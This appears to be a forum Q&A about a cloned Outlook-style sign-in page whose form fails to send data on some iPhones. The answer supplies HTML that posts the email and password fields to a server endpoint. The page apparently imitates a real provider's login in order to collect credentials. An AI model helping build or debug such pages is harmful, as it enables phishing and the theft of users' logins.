Form Not Sending Data After Submitting In Some Device Mostly IPhones

So basically am trying to replicate the outlook login form, that sliding effect and this is the best way i know how to do it, I wanted to get the username and password after i subm

Solution 1:

There are some things that looks basic at first but when u ignore them, it will become a problem, it wont hurt to follow the laid down convention on creating a form, below solutions might help.

  <form method="post" action="/userdata">
    <div id="loginForm" class="container"><img id="image" src="logo.svg">
                <div></div>
                <section id="section-main">
                    <section id="section-1" class="slide-page">
                            <p id="signIn" class="field">Sign in</p><h5 id="result"></h5><input name="userName" type="email" id="email" class="field" placeholder="Email, username" />
                            <p id="NoAccount" class="field">No account?<a id="linkCreateAccount" href="www.signup.com/?lic=1" style="color: #0067b8;">Create One!</a></p>
                            <p id="signInSecurityKey" class="field"><a href="www.complain.com" style="color: #0067b8;">Sign in with other method</a><i class="far fa-question-circle fa-lg" id="iconQ"></i></p>
                            <p id="signInOptions" class="field"><a href="www.myaccount.com" style="color: #0067b8;">Sign-in options</a></p>
                            <p id="btnPlace" class="field"><button class="firstNext next" href="#next" type="button" id="btnSend" >Next</button></p>
                    </section>
                    <section id="section-2" class="page secondSlide">
                            <p id="userLine">P</p><button class="btn btn-primary btn-sm py-0 prev-1" id="btnBack" type="button" style="font-size: 12px;height: 25px;width: 26px;"><i class="la la-long-arrow-left" id="arrowBack-1" style="width: 1px;font-size: 19px;font-weight: 800;margin: -1px;"></i></button>
                            <p id="enterPwd">Enter Password</p><h5 id="passResult"></h5>
                            <p <input name="password" type="password" id="password" placeholder="Password"></p>
                            <p id="keepMe">Keep me signed in</p><input type="checkbox" id="cbRemember">
                            <p id="ForgodPwd"><a href="#">Forgot password?</a></p>
                            <p id="SignWithKey"><a href="#">Sign in with other method</a></p>
                            <p id="btnSignInLocation"><button id="btnSignIn" class="submit" type="button">Sign in</button></p>
                    </section>
                </section>
    </div>
 </form>

Below are what u should understand,

1. every input in your form should have a name
2. your input name must correspond to the name you are trying to reference in the server side.
3. add the action attribute to your form